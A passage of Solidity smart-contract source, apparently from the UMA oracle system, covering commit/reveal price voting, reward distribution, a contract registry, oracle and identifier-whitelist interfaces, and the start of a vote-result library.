RequestState[] memory requestStates = new RequestState[](requests.length);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
for (uint256 i = 0; i < requests.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(requests[i].identifier, requests[i].time, requests[i].ancillaryData);
RequestStatus status = _getRequestStatus(priceRequest, currentRoundId);
// If it's an active request, its true lastVotingRound is the current one, even if it hasn't been updated.
if (status == RequestStatus.Active) {
requestStates[i].lastVotingRound = currentRoundId;
} else {
requestStates[i].lastVotingRound = priceRequest.lastVotingRound;
}
requestStates[i].status = status;
}
return requestStates;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPriceRequestStatuses(PendingRequest[] memory requests) public view returns (RequestState[] memory) {
PendingRequestAncillary[] memory requestsAncillary = new PendingRequestAncillary[](requests.length);
for (uint256 i = 0; i < requests.length; i++) {
requestsAncillary[i].identifier = requests[i].identifier;
requestsAncillary[i].time = requests[i].time;
requestsAncillary[i].ancillaryData = "";
}
return getPriceRequestStatuses(requestsAncillary);
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public override onlyIfNotMigrated() {
require(hash != bytes32(0), "Invalid provided hash");
// Current time is required for all vote timing queries.
uint256 blockTime = getCurrentTime();
require(
voteTiming.computeCurrentPhase(blockTime) == VotingAncillaryInterface.Phase.Commit,
"Cannot commit in reveal phase"
);
// At this point, the computed and last updated round ID should be equal.
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
require(
_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active,
"Cannot commit inactive request"
);
priceRequest.lastVotingRound = currentRoundId;
VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId];
voteInstance.voteSubmissions[msg.sender].commit = hash;
emit VoteCommitted(msg.sender, currentRoundId, identifier, time, ancillaryData);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) public override onlyIfNotMigrated() {
commitVote(identifier, time, "", hash);
}
/**
* @notice Snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times, but only the first call per round into this function or `revealVote`
* will create the round snapshot. Any later calls will be a no-op. Will revert unless called during reveal period.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature)
external
override(VotingInterface, VotingAncillaryInterface)
onlyIfNotMigrated()
{
uint256 blockTime = getCurrentTime();
require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Only snapshot in reveal phase");
// Require public snapshot require signature to ensure caller is an EOA.
require(ECDSA.recover(snapshotMessageHash, signature) == msg.sender, "Signature must match sender");
uint256 roundId = voteTiming.computeCurrentRoundId(blockTime);
_freezeRoundVariables(roundId);
}
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price voted on during the commit phase.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public override onlyIfNotMigrated() {
require(voteTiming.computeCurrentPhase(getCurrentTime()) == Phase.Reveal, "Cannot reveal in commit phase");
// Note: computing the current round is required to disallow people from revealing an old commit after the round is over.
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[roundId];
VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender];
// Scoping to get rid of a stack too deep error.
{
// 0 hashes are disallowed in the commit phase, so they indicate a different error.
// Cannot reveal an uncommitted or previously revealed hash
require(voteSubmission.commit != bytes32(0), "Invalid hash reveal");
require(
keccak256(abi.encodePacked(price, salt, msg.sender, time, ancillaryData, roundId, identifier)) ==
voteSubmission.commit,
"Revealed data != commit hash"
);
// To protect against flash loans, we require snapshot be validated as EOA.
require(rounds[roundId].snapshotId != 0, "Round has no snapshot");
}
// Get the frozen snapshotId
uint256 snapshotId = rounds[roundId].snapshotId;
delete voteSubmission.commit;
// Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId));
// Set the voter's submission.
voteSubmission.revealHash = keccak256(abi.encode(price));
// Add vote to the results.
voteInstance.resultComputation.addVote(price, balance);
emit VoteRevealed(msg.sender, roundId, identifier, time, price, ancillaryData, balance.rawValue);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public override {
revealVote(identifier, time, price, "", salt);
}
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, ancillaryData, hash);
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
emit EncryptedVote(msg.sender, roundId, identifier, time, ancillaryData, encryptedVote);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, "", hash);
commitAndEmitEncryptedVote(identifier, time, "", hash, encryptedVote);
}
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is emitted in an event.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public override {
for (uint256 i = 0; i < commits.length; i++) {
if (commits[i].encryptedVote.length == 0) {
commitVote(commits[i].identifier, commits[i].time, commits[i].ancillaryData, commits[i].hash);
} else {
commitAndEmitEncryptedVote(
commits[i].identifier,
commits[i].time,
commits[i].ancillaryData,
commits[i].hash,
commits[i].encryptedVote
);
}
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchCommit(Commitment[] memory commits) public override {
CommitmentAncillary[] memory commitsAncillary = new CommitmentAncillary[](commits.length);
for (uint256 i = 0; i < commits.length; i++) {
commitsAncillary[i].identifier = commits[i].identifier;
commitsAncillary[i].time = commits[i].time;
commitsAncillary[i].ancillaryData = "";
commitsAncillary[i].hash = commits[i].hash;
commitsAncillary[i].encryptedVote = commits[i].encryptedVote;
}
batchCommit(commitsAncillary);
}
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more info on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public override {
for (uint256 i = 0; i < reveals.length; i++) {
revealVote(
reveals[i].identifier,
reveals[i].time,
reveals[i].price,
reveals[i].ancillaryData,
reveals[i].salt
);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchReveal(Reveal[] memory reveals) public override {
RevealAncillary[] memory revealsAncillary = new RevealAncillary[](reveals.length);
for (uint256 i = 0; i < reveals.length; i++) {
revealsAncillary[i].identifier = reveals[i].identifier;
revealsAncillary[i].time = reveals[i].time;
revealsAncillary[i].price = reveals[i].price;
revealsAncillary[i].ancillaryData = "";
revealsAncillary[i].salt = reveals[i].salt;
}
batchReveal(revealsAncillary);
}
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the call is done within the timeout threshold
* (not expired). Note that a named return value is used here to avoid a stack to deep error.
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return totalRewardToIssue total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory totalRewardToIssue) {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Can only call from migrated");
}
require(roundId < voteTiming.computeCurrentRoundId(getCurrentTime()), "Invalid roundId");
Round storage round = rounds[roundId];
bool isExpired = getCurrentTime() > round.rewardsExpirationTime;
FixedPoint.Unsigned memory snapshotBalance =
FixedPoint.Unsigned(votingToken.balanceOfAt(voterAddress, round.snapshotId));
// Compute the total amount of reward that will be issued for each of the votes in the round.
FixedPoint.Unsigned memory snapshotTotalSupply =
FixedPoint.Unsigned(votingToken.totalSupplyAt(round.snapshotId));
FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply);
// Keep track of the voter's accumulated token reward.
totalRewardToIssue = FixedPoint.Unsigned(0);
for (uint256 i = 0; i < toRetrieve.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
// Only retrieve rewards for votes resolved in same round
require(priceRequest.lastVotingRound == roundId, "Retrieve for votes same round");
_resolvePriceRequest(priceRequest, voteInstance);
if (voteInstance.voteSubmissions[voterAddress].revealHash == 0) {
continue;
} else if (isExpired) {
// Emit a 0 token retrieval on expired rewards.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
} else if (
voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash)
) {
// The price was successfully resolved during the voter's last voting round, the voter revealed
// and was correct, so they are eligible for a reward.
// Compute the reward and add to the cumulative reward.
FixedPoint.Unsigned memory reward =
snapshotBalance.mul(totalRewardPerVote).div(
voteInstance.resultComputation.getTotalCorrectlyVotedTokens()
);
totalRewardToIssue = totalRewardToIssue.add(reward);
// Emit reward retrieval for this vote.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
reward.rawValue
);
} else {
// Emit a 0 token retrieval on incorrect votes.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
}
// Delete the submission to capture any refund and clean up storage.
delete voteInstance.voteSubmissions[voterAddress].revealHash;
}
// Issue any accumulated rewards.
if (totalRewardToIssue.isGreaterThan(0)) {
require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue), "Voting token issuance failed");
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory) {
PendingRequestAncillary[] memory toRetrieveAncillary = new PendingRequestAncillary[](toRetrieve.length);
for (uint256 i = 0; i < toRetrieve.length; i++) {
toRetrieveAncillary[i].identifier = toRetrieve[i].identifier;
toRetrieveAncillary[i].time = toRetrieve[i].time;
toRetrieveAncillary[i].ancillaryData = "";
}
return retrieveRewards(voterAddress, roundId, toRetrieveAncillary);
}
/****************************************
* VOTING GETTER FUNCTIONS *
****************************************/
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests array containing identifiers of type `PendingRequest`.
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
override(VotingInterface, VotingAncillaryInterface)
returns (PendingRequestAncillary[] memory)
{
uint256 blockTime = getCurrentTime();
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
// Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter
// `pendingPriceRequests` only to those requests that have an Active RequestStatus.
PendingRequestAncillary[] memory unresolved = new PendingRequestAncillary[](pendingPriceRequests.length);
uint256 numUnresolved = 0;
for (uint256 i = 0; i < pendingPriceRequests.length; i++) {
PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]];
if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) {
unresolved[numUnresolved] = PendingRequestAncillary({
identifier: priceRequest.identifier,
time: priceRequest.time,
ancillaryData: priceRequest.ancillaryData
});
numUnresolved++;
}
}
PendingRequestAncillary[] memory pendingRequests = new PendingRequestAncillary[](numUnresolved);
for (uint256 i = 0; i < numUnresolved; i++) {
pendingRequests[i] = unresolved[i];
}
return pendingRequests;
}
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view override(VotingInterface, VotingAncillaryInterface) returns (Phase) {
return voteTiming.computeCurrentPhase(getCurrentTime());
}
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view override(VotingInterface, VotingAncillaryInterface) returns (uint256) {
return voteTiming.computeCurrentRoundId(getCurrentTime());
}
/****************************************
* OWNER ADMIN FUNCTIONS *
****************************************/
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress)
external
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
migratedAddress = newVotingAddress;
}
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
inflationRate = newInflationRate;
}
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
require(newGatPercentage.isLessThan(1), "GAT percentage must be < 100%");
gatPercentage = newGatPercentage;
}
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
rewardsExpirationTimeout = NewRewardsExpirationTimeout;
}
/****************************************
* PRIVATE AND INTERNAL FUNCTIONS *
****************************************/
// Returns the price for a given identifer. Three params are returns: bool if there was an error, int to represent
// the resolved price and a string which is filled with an error message, if there was an error or "".
function _getPriceOrError(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
)
private
view
returns (
bool,
int256,
string memory
)
{
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.Active) {
return (false, 0, "Current voting round not ended");
} else if (requestStatus == RequestStatus.Resolved) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return (true, resolvedPrice, "");
} else if (requestStatus == RequestStatus.Future) {
return (false, 0, "Price is still to be voted on");
} else {
return (false, 0, "Price was never requested");
}
}
function _getPriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private view returns (PriceRequest storage) {
return priceRequests[_encodePriceRequest(identifier, time, ancillaryData)];
}
function _encodePriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encode(identifier, time, ancillaryData));
}
function _freezeRoundVariables(uint256 roundId) private {
Round storage round = rounds[roundId];
// Only on the first reveal should the snapshot be captured for that round.
if (round.snapshotId == 0) {
// There is no snapshot ID set, so create one.
round.snapshotId = votingToken.snapshot();
// Set the round inflation rate to the current global inflation rate.
rounds[roundId].inflationRate = inflationRate;
// Set the round gat percentage to the current global gat rate.
rounds[roundId].gatPercentage = gatPercentage;
// Set the rewards expiration time based on end of time of this round and the current global timeout.
rounds[roundId].rewardsExpirationTime = voteTiming.computeRoundEndTime(roundId).add(
rewardsExpirationTimeout
);
}
}
function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private {
if (priceRequest.index == UINT_MAX) {
return;
}
(bool isResolved, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
require(isResolved, "Can't resolve unresolved request");
// Delete the resolved price request from pendingPriceRequests.
uint256 lastIndex = pendingPriceRequests.length - 1;
PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]];
lastPriceRequest.index = priceRequest.index;
pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex];
pendingPriceRequests.pop();
priceRequest.index = UINT_MAX;
emit PriceResolved(
priceRequest.lastVotingRound,
priceRequest.identifier,
priceRequest.time,
resolvedPrice,
priceRequest.ancillaryData
);
}
function _computeGat(uint256 roundId) private view returns (FixedPoint.Unsigned memory) {
uint256 snapshotId = rounds[roundId].snapshotId;
if (snapshotId == 0) {
// No snapshot - return max value to err on the side of caution.
return FixedPoint.Unsigned(UINT_MAX);
}
// Grab the snapshotted supply from the voting token. It's already scaled by 10**18, so we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId));
// Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens.
return snapshottedSupply.mul(rounds[roundId].gatPercentage);
}
function _getRequestStatus(PriceRequest storage priceRequest, uint256 currentRoundId)
private
view
returns (RequestStatus)
{
if (priceRequest.lastVotingRound == 0) {
return RequestStatus.NotRequested;
} else if (priceRequest.lastVotingRound < currentRoundId) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(bool isResolved, ) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return isResolved ? RequestStatus.Resolved : RequestStatus.Active;
} else if (priceRequest.lastVotingRound == currentRoundId) {
return RequestStatus.Active;
} else {
// Means than priceRequest.lastVotingRound > currentRoundId
return RequestStatus.Future;
}
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples are the Oracle or Store interfaces.
*/
interface FinderInterface {
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 encoding of the interface name that is either changed or registered.
* @param implementationAddress address of the deployed contract that implements the interface.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external;
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the deployed contract that implements the interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleAncillaryInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param time unix timestamp for the price request.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for whitelists of supported identifiers that the oracle can provide prices for.
*/
interface IdentifierWhitelistInterface {
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../interfaces/RegistryInterface.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title Registry for financial contracts and approved financial contract creators.
* @dev Maintains a whitelist of financial contract creators that are allowed
* to register new financial contracts and stores party members of a financial contract.
*/
contract Registry is RegistryInterface, MultiRole {
using SafeMath for uint256;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // The owner manages the set of ContractCreators.
ContractCreator // Can register financial contracts.
}
// This enum is required because a `WasValid` state is required
// to ensure that financial contracts cannot be re-registered.
enum Validity { Invalid, Valid }
// Local information about a contract.
struct FinancialContract {
Validity valid;
uint128 index;
}
struct Party {
address[] contracts; // Each financial contract address is stored in this array.
// The address of each financial contract is mapped to its index for constant time look up and deletion.
mapping(address => uint256) contractIndex;
}
// Array of all contracts that are approved to use the UMA Oracle.
address[] public registeredContracts;
// Map of financial contract contracts to the associated FinancialContract struct.
mapping(address => FinancialContract) public contractMap;
// Map each party member to their their associated Party struct.
mapping(address => Party) private partyMap;
/****************************************
* EVENTS *
****************************************/
event NewContractRegistered(address indexed contractAddress, address indexed creator, address[] parties);
event PartyAdded(address indexed contractAddress, address indexed party);
event PartyRemoved(address indexed contractAddress, address indexed party);
/**
* @notice Construct the Registry contract.
*/
constructor() public {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
// Start with no contract creators registered.
_createSharedRole(uint256(Roles.ContractCreator), uint256(Roles.Owner), new address[](0));
}
/****************************************
* REGISTRATION FUNCTIONS *
****************************************/
/**
* @notice Registers a new financial contract.
* @dev Only authorized contract creators can call this method.
* @param parties array of addresses who become parties in the contract.
* @param contractAddress address of the contract against which the parties are registered.
*/
function registerContract(address[] calldata parties, address contractAddress)
external
override
onlyRoleHolder(uint256(Roles.ContractCreator))
{
FinancialContract storage financialContract = contractMap[contractAddress];
require(contractMap[contractAddress].valid == Validity.Invalid, "Can only register once");
// Store contract address as a registered contract.
registeredContracts.push(contractAddress);
// No length check necessary because we should never hit (2^127 - 1) contracts.
financialContract.index = uint128(registeredContracts.length.sub(1));
// For all parties in the array add them to the contract's parties.
financialContract.valid = Validity.Valid;
for (uint256 i = 0; i < parties.length; i = i.add(1)) {
_addPartyToContract(parties[i], contractAddress);
}
emit NewContractRegistered(contractAddress, msg.sender, parties);
}
/**
* @notice Adds a party member to the calling contract.
* @dev msg.sender will be used to determine the contract that this party is added to.
* @param party new party for the calling contract.
*/
function addPartyToContract(address party) external override {
address contractAddress = msg.sender;
require(contractMap[contractAddress].valid == Validity.Valid, "Can only add to valid contract");
_addPartyToContract(party, contractAddress);
}
/**
* @notice Removes a party member from the calling contract.
* @dev msg.sender will be used to determine the contract that this party is removed from.
* @param partyAddress address to be removed from the calling contract.
*/
function removePartyFromContract(address partyAddress) external override {
address contractAddress = msg.sender;
Party storage party = partyMap[partyAddress];
uint256 numberOfContracts = party.contracts.length;
require(numberOfContracts != 0, "Party has no contracts");
require(contractMap[contractAddress].valid == Validity.Valid, "Remove only from valid contract");
require(isPartyMemberOfContract(partyAddress, contractAddress), "Can only remove existing party");
// Index of the current location of the contract to remove.
uint256 deleteIndex = party.contractIndex[contractAddress];
// Store the last contract's address to update the lookup map.
address lastContractAddress = party.contracts[numberOfContracts - 1];
// Swap the contract to be removed with the last contract.
party.contracts[deleteIndex] = lastContractAddress;
// Update the lookup index with the new location.
party.contractIndex[lastContractAddress] = deleteIndex;
// Pop the last contract from the array and update the lookup map.
party.contracts.pop();
delete party.contractIndex[contractAddress];
emit PartyRemoved(contractAddress, partyAddress);
}
/****************************************
* REGISTRY STATE GETTERS *
****************************************/
/**
* @notice Returns whether the contract has been registered with the registry.
* @dev If it is registered, it is an authorized participant in the UMA system.
* @param contractAddress address of the financial contract.
* @return bool indicates whether the contract is registered.
*/
function isContractRegistered(address contractAddress) external view override returns (bool) {
return contractMap[contractAddress].valid == Validity.Valid;
}
/**
* @notice Returns a list of all contracts that are associated with a particular party.
* @param party address of the party.
* @return an array of the contracts the party is registered to.
*/
function getRegisteredContracts(address party) external view override returns (address[] memory) {
return partyMap[party].contracts;
}
/**
* @notice Returns all registered contracts.
* @return all registered contract addresses within the system.
*/
function getAllRegisteredContracts() external view override returns (address[] memory) {
return registeredContracts;
}
/**
* @notice checks if an address is a party of a contract.
* @param party party to check.
* @param contractAddress address to check against the party.
* @return bool indicating if the address is a party of the contract.
*/
function isPartyMemberOfContract(address party, address contractAddress) public view override returns (bool) {
uint256 index = partyMap[party].contractIndex[contractAddress];
return partyMap[party].contracts.length > index && partyMap[party].contracts[index] == contractAddress;
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _addPartyToContract(address party, address contractAddress) internal {
require(!isPartyMemberOfContract(party, contractAddress), "Can only register a party once");
uint256 contractIndex = partyMap[party].contracts.length;
partyMap[party].contracts.push(contractAddress);
partyMap[party].contractIndex[contractAddress] = contractIndex;
emit PartyAdded(contractAddress, party);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Computes vote results.
* @dev The result is the mode of the added votes. Otherwise, the vote is unresolved.
*/
library ResultComputation {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* INTERNAL LIBRARY DATA STRUCTURE *
****************************************/
struct Data {
// Maps price to number of tokens that voted for that price.
mapping(int256 => FixedPoint.Unsigned) voteFrequency;
// The total votes that have been added.
FixedPoint.Unsigned totalVotes;
// The price that is the current mode, i.e., the price with the highest frequency in `voteFrequency`.
int256 currentMode;
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Adds a new vote to be used when computing the result.
* @param data contains information to which the vote is applied.
* @param votePrice value specified in the vote for the given `numberTokens`.
* @param numberTokens number of tokens that voted on the `votePrice`.
*/
function addVote(
Data storage data,
int256 votePrice,
FixedPoint.Unsigned memory numberTokens
) internal {
data.totalVotes = data.totalVotes.add(numberTokens);
data.voteFrequency[votePrice] = data.voteFrequency[votePrice].add(numberTokens);
if (
votePrice != data.currentMode &&
data.voteFrequency[votePrice].isGreaterThan(data.voteFrequency[data.currentMode])
) {
data.currentMode = votePrice;
}
}
/****************************************
* VOTING STATE GETTERS *
****************************************/
/**
* @notice Returns whether the result is resolved, and if so, what value it resolved to.
* @dev `price` should be ignored if `isResolved` is false.
* @param data contains information against which the `minVoteThreshold` is applied.
